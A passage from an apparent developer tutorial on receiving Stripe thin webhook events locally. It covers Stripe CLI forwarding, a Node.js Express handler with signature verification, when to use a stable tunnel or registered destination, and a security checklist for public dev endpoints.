&lt;strong&gt;Mirror a real endpoint.&lt;/strong&gt; &lt;code&gt;--load-from-webhooks-api&lt;/code&gt; loads the paths and event types of your registered Dashboard endpoints and appends the path to your local &lt;code&gt;--forward-to&lt;/code&gt; target. Stripe documents this for snapshot forwarding, so check the CLI reference before relying on it for thin destinations.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To generate a test event, Stripe’s documentation uses this thin example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;stripe trigger v1.billing.meter.error_report_triggered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When forwarding succeeds, the &lt;code&gt;listen&lt;/code&gt; tab prints a line like &lt;code&gt;[200 POST] OK v1.billing.meter.error_report_triggered&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A minimal Node.js handler
&lt;/h2&gt;

&lt;p&gt;Stripe’s SDKs provide &lt;code&gt;parseEventNotification()&lt;/code&gt;, which verifies the &lt;code&gt;Stripe-Signature&lt;/code&gt; header and returns a typed notification. Stripe’s documentation labels the thin event handler “Clover+”, so use an SDK version released with the Clover API version or later. This Express handler follows the shape in Stripe’s docs, and you should confirm method names against the SDK version you install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Stripe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_API_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;endpointSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;WEBHOOK_SECRET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// whsec_... from `stripe listen`&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Register this route BEFORE any express.json(): signature checks need the raw body.&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/webhook&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;notification&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEventNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe-signature&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="nx"&gt;endpointSecret&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Webhook Error: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// acknowledge first, work afterwards&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;v1.billing.meter.error_report_triggered&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;meter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchRelatedObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// latest state&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchEvent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;         &lt;span class="c1"&gt;// adds the `data` hash&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;meter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Unhandled event type: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Processing failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4242&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stripe’s SDKs also include an &lt;code&gt;UnknownEventNotification&lt;/code&gt; class for event types released after your SDK version. Match on &lt;code&gt;type&lt;/code&gt; for those instead of expecting a generated class.&lt;/p&gt;

&lt;p&gt;Several habits from Stripe’s guidance are worth adopting immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Leave the raw body alone.&lt;/strong&gt; Any manipulation before verification breaks the signature check.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Return a &lt;code&gt;2xx&lt;/code&gt; before slow work.&lt;/strong&gt; Process events through an asynchronous queue so delivery spikes don’t overwhelm your hosts. The &lt;code&gt;try/catch&lt;/code&gt; above is a stand-in for that queue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deduplicate by event ID.&lt;/strong&gt; Stripe may deliver an event more than once and doesn’t guarantee ordering. Don’t use &lt;code&gt;created&lt;/code&gt; to sequence events or detect repeats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subscribe only to the types you need.&lt;/strong&gt; Stripe advises against listening to everything on a registered destination.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exempt the route from CSRF protection&lt;/strong&gt; if your framework (Rails, Django, and similar) enforces it on POST requests.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When the Stripe CLI is enough
&lt;/h2&gt;

&lt;p&gt;For everyday work, &lt;code&gt;stripe listen&lt;/code&gt; beats a tunnel. Use it when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;You are the only developer on the handler.&lt;/strong&gt; One person, one machine, one process.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You are writing handler logic.&lt;/strong&gt; Parsing, routing by event type, and fetch-after-notify calls behave the same whether the notification came through the CLI or a registered endpoint.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You don’t want to register anything.&lt;/strong&gt; Nothing is created in the Dashboard, so nothing needs cleanup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You want a stable local secret.&lt;/strong&gt; The signing secret survives restarts.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You also don’t have to expose a port or register a URL. Treat the CLI as the inner-loop tool: edit code, trigger an event, read the result.&lt;/p&gt;

&lt;h2&gt;
  
  
  When you need a stable public URL
&lt;/h2&gt;

&lt;p&gt;The CLI doesn’t replace a real event destination. Stripe’s documentation states that registered webhook endpoints must be &lt;strong&gt;publicly accessible HTTPS URLs&lt;/strong&gt;. Its own guide suggests a tunneling tool such as ngrok for temporary testing when you have a local server and no public URL. A handler you’re still developing locally can use HTTP, but once it is publicly accessible it must use HTTPS. HTTPS is required in live mode.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. You are testing real delivery behavior
&lt;/h3&gt;

&lt;p&gt;CLI forwarding skips parts of the production path. A registered destination adds rules the CLI never exercises:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redirect responses (&lt;code&gt;3xx&lt;/code&gt;) count as failures. Point the destination at the final URL.&lt;/li&gt;
&lt;li&gt;Stripe requires TLS 1.2 or 1.3 and a valid certificate chain. A TLS error shows up on the delivery.&lt;/li&gt;
&lt;li&gt;Live-mode deliveries retry with exponential backoff for up to three days. Sandbox deliveries retry three times over a few hours, so a sandbox can’t reproduce multi-day retry behavior.&lt;/li&gt;
&lt;li&gt;Slow responses time out and show up as failed deliveries.&lt;/li&gt;
&lt;li&gt;Workbench’s &lt;strong&gt;Event deliveries&lt;/strong&gt; tab lists each event as &lt;code&gt;Delivered&lt;/code&gt;, &lt;code&gt;Pending&lt;/code&gt;, or &lt;code&gt;Failed&lt;/code&gt;, with the HTTP status code and the time of the next attempt.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To watch your handler survive a retry, you need a real destination pointed at a reachable URL.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Teammates share one endpoint
&lt;/h3&gt;

&lt;p&gt;This is where a tunnel pays off. You can register up to 16 event destinations per livemode or sandbox account, and every registered destination has its own signing secret. Having each developer register a personal destination doesn’t scale.&lt;/p&gt;

&lt;p&gt;Separate &lt;code&gt;stripe listen&lt;/code&gt; sessions work for isolated development, but they don’t give the team one place where a webhook lands, gets logged, and can be inspected by everyone. Point a single thin event destination at a persistent HTTPS address in front of a shared dev or staging service, and everyone sees the same deliveries and uses the same secret. For anything longer-lived, a deployed staging server beats a tunnel.&lt;/p&gt;

&lt;p&gt;The word that matters is &lt;strong&gt;stable&lt;/strong&gt;. If the tunnel URL changes every session, you must update the destination in Workbench or through the &lt;code&gt;/v2/core/event_destinations&lt;/code&gt; API each time, then copy the new signing secret into your config. A reserved or persistent subdomain on a tunnel service removes that chore. Several services offer one, such as InstaTunnel’s &lt;code&gt;--subdomain&lt;/code&gt; flag, but plan limits differ, so check which tier includes reserved subdomains before you commit.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. You run thin and snapshot endpoints side by side
&lt;/h3&gt;

&lt;p&gt;Stripe says that if you use thin events, you need to register a &lt;strong&gt;separate&lt;/strong&gt; webhook endpoint. During a migration you may run both formats, which means two destinations and two secrets. One stable host with two paths, such as &lt;code&gt;/webhooks/snapshot&lt;/code&gt; and &lt;code&gt;/webhooks/thin&lt;/code&gt;, keeps that manageable. If you use Accounts v2, you might listen to both formats at once.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. You test Connect or organization destinations
&lt;/h3&gt;

&lt;p&gt;Connect platforms choose whether a destination listens to their own account (&lt;code&gt;events_from: ["@self"]&lt;/code&gt;) or to connected accounts (&lt;code&gt;["@accounts"]&lt;/code&gt;). Depending on your integration, you may need both. For example, thin events about Accounts v2 objects that represent connected accounts go to a destination on &lt;strong&gt;Your account&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The CLI has thin-specific Connect forwarding, but a registered destination is the realistic test of these scopes. Organization destinations (&lt;code&gt;@organization_members&lt;/code&gt;) also have documented limits for event types that need a synchronous response:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can’t subscribe an organization destination to &lt;code&gt;issuing_authorization.request&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;An organization destination can’t influence Checkout redirect behavior on &lt;code&gt;checkout_sessions.completed&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;An organization destination can’t influence automatic invoice finalization when it responds unsuccessfully to &lt;code&gt;invoice.created&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For those event types, Stripe says to use a webhook endpoint in a Stripe account within the organization. You only see these limits against a real endpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Something off your laptop needs the URL
&lt;/h3&gt;

&lt;p&gt;A staging environment, a mobile build, a partner integration, or a stakeholder demo can’t use a CLI session on your machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick decision guide
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Best tool&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Writing handler logic alone&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stripe listen --forward-thin-to&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Testing retries and delivery failures&lt;/td&gt;
&lt;td&gt;Registered endpoint on a stable URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Several developers, one shared endpoint&lt;/td&gt;
&lt;td&gt;Stable tunnel or deployed staging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thin and snapshot side by side&lt;/td&gt;
&lt;td&gt;Stable URL with two paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Connect or organization destinations&lt;/td&gt;
&lt;td&gt;Registered endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Demos and QA outside your machine&lt;/td&gt;
&lt;td&gt;Stable tunnel or staging&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A workable pattern is to use the CLI for most of development, then switch to a registered destination on a stable URL for integration testing and sign-off.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating a thin destination for your tunnel
&lt;/h2&gt;

&lt;p&gt;In Workbench, open the &lt;strong&gt;Webhooks&lt;/strong&gt; tab and create an event destination. Then:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Choose &lt;strong&gt;Your account&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Select the &lt;strong&gt;Thin&lt;/strong&gt; payload format (Stripe marks it as recommended).&lt;/li&gt;
&lt;li&gt;Pick your event types.&lt;/li&gt;
&lt;li&gt;Choose &lt;strong&gt;Webhook endpoint&lt;/strong&gt; as the destination type.&lt;/li&gt;
&lt;li&gt;Enter your endpoint URL.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Stripe then shows a &lt;code&gt;whsec_&lt;/code&gt; signing secret on the settings page, behind &lt;strong&gt;Reveal secret&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Through the API, call &lt;code&gt;/v2/core/event_destinations&lt;/code&gt;. Stripe’s example looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://api.stripe.com/v2/core/event_destinations &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$STRIPE_API_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Stripe-Version: &amp;lt;version from Stripe's current docs&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--json&lt;/span&gt; &lt;span class="s1"&gt;'{
    "name": "Thin events (dev tunnel)",
    "type": "webhook_endpoint",
    "events_from": ["@self"],
    "event_payload": "thin",
    "enabled_events": ["v1.billing.meter.error_report_triggered"],
    "webhook_endpoint": { "url": "https://your-stable-subdomain.example.com/webhooks/thin" },
    "include": ["webhook_endpoint.signing_secret"]
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stripe’s sample pins a preview API version in the &lt;code&gt;Stripe-Version&lt;/code&gt; header, so copy the current value from the docs instead of hard-coding an old one. The &lt;code&gt;include&lt;/code&gt; array returns &lt;code&gt;webhook_endpoint.signing_secret&lt;/code&gt; in the response.&lt;/p&gt;

&lt;p&gt;Stripe lists a &lt;code&gt;v2.core.event_destination.ping&lt;/code&gt; event type, described as a ping used to test the connection to an event destination. It’s a useful first check that your tunnel, TLS, and signature verification work before you wait for a real event.&lt;/p&gt;

&lt;p&gt;Stripe generates a unique secret for each endpoint, and an endpoint used with both test and live keys has a different secret for each. In practice, a destination’s secret differs from the one the CLI prints, so keep the two in separate environment variables.&lt;/p&gt;

&lt;p&gt;Recovery is easier with a real destination:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Workbench resend:&lt;/strong&gt; you can resend an event for up to 15 days after it was created.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CLI resend:&lt;/strong&gt; &lt;code&gt;stripe events resend &amp;lt;event_id&amp;gt; --webhook-endpoint=&amp;lt;endpoint_id&amp;gt;&lt;/code&gt; works for up to 30 days. Resending doesn’t cancel Stripe’s automatic retries, even if the resend returns a &lt;code&gt;2xx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missing event types:&lt;/strong&gt; if you add a type to &lt;code&gt;enabled_events&lt;/code&gt; later, Stripe doesn’t backfill earlier events. You can list them through the v2 Events API (using the &lt;code&gt;types&lt;/code&gt; filter) and retrieve each complete event, for up to 30 days.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retention:&lt;/strong&gt; Workbench keeps event summaries for 13 months, but full payloads are limited to the last 30 days.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Security checklist for a public dev endpoint
&lt;/h2&gt;

&lt;p&gt;A public URL is an attack surface even in a sandbox. Stripe’s guidance is to use two protections together:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Verify every signature.&lt;/strong&gt; &lt;code&gt;parseEventNotification()&lt;/code&gt; handles this for thin events. Stripe needs the raw request body for the check.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reject stale timestamps.&lt;/strong&gt; Stripe’s libraries default to a five-minute tolerance. Never set it to &lt;code&gt;0&lt;/code&gt;, which disables the recency check entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist Stripe’s IP addresses.&lt;/strong&gt; Stripe publishes the addresses it sends webhooks from. With a tunnel in front of your laptop, apply the allowlist at the tunnel or firewall layer if your provider supports it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep secrets out of code.&lt;/strong&gt; Use environment variables or a secrets vault, and never put an API key or endpoint secret in source code, screenshots, or client-side apps.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Roll leaked secrets.&lt;/strong&gt; In Workbench, &lt;strong&gt;Roll secret&lt;/strong&gt; lets you expire the old secret immediately or keep it active for up to 24 hours. During that window Stripe sends one signature per active secret.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Close the tunnel&lt;/strong&gt; when you finish, or restrict non-webhook routes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Can I receive Stripe thin events on localhost without a tunnel?
&lt;/h3&gt;

&lt;p&gt;Yes. Run &lt;code&gt;stripe listen --forward-thin-to localhost:&amp;lt;port&amp;gt;/&amp;lt;path&amp;gt; --thin-events "*"&lt;/code&gt;. The CLI forwards events from your account to your handler without a registered public URL.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the difference between &lt;code&gt;--forward-to&lt;/code&gt; and &lt;code&gt;--forward-thin-to&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;--forward-to&lt;/code&gt; forwards snapshot events. &lt;code&gt;--forward-thin-to&lt;/code&gt; forwards thin events, and you also need &lt;code&gt;--thin-events&lt;/code&gt; to say which ones. Use &lt;code&gt;*&lt;/code&gt; for all thin events.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do thin event destinations need HTTPS?
&lt;/h3&gt;

&lt;p&gt;A registered webhook endpoint must be a publicly accessible HTTPS URL, and HTTPS is required in live mode. A handler you’re developing locally can use plain HTTP behind the CLI.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can one endpoint receive both thin and snapshot events?
&lt;/h3&gt;

&lt;p&gt;Stripe’s guidance is to register a separate endpoint for thin events rather than reuse a snapshot destination. You can host both on one domain with two paths.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does the CLI signing secret work with a Dashboard destination?
&lt;/h3&gt;

&lt;p&gt;No. Each registered destination has its own signing secret, distinct from the one the CLI prints.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do I need to handle events in order?
&lt;/h3&gt;

&lt;p&gt;No, and you shouldn’t try. Stripe doesn’t guarantee delivery order. Track event IDs to detect duplicates, and fetch the related object when you need current state.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;Thin events move complexity out of your webhook configuration and into handler code, where it is easier to test and version. On localhost, the Stripe CLI covers most of the inner loop with one flag pair. When you need to prove delivery behavior, share an endpoint across a team, or reach the handler from outside your machine, you are working with a real event destination. That means a stable, public HTTPS URL.&lt;/p&gt;

&lt;p&gt;Start with the CLI. Move to a persistent URL when the work stops being a solo experiment.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Sources:&lt;/strong&gt; Stripe documentation on &lt;a href="https://docs.stripe.com/events/how-events-work" rel="noopener noreferrer"&gt;how events work&lt;/a&gt;, &lt;a href="https://docs.stripe.com/webhooks" rel="noopener noreferrer"&gt;webhook endpoints&lt;/a&gt;, &lt;a href="https://docs.stripe.com/events/set-up-events" rel="noopener noreferrer"&gt;setting up events&lt;/a&gt;, the &lt;a href="https://docs.stripe.com/api/v2/core/events/event-types" rel="noopener noreferrer"&gt;thin event type catalog&lt;/a&gt;, and the &lt;a href="https://docs.stripe.com/cli/listen" rel="noopener noreferrer"&gt;Stripe CLI &lt;code&gt;listen&lt;/code&gt; reference&lt;/a&gt;. InstaTunnel’s subdomain flag is from its &lt;a href="https://cdn.jsdelivr.net/npm/instatunnel@1.1.23/README.md" rel="noopener noreferrer"&gt;npm README&lt;/a&gt;.&lt;/p&gt;




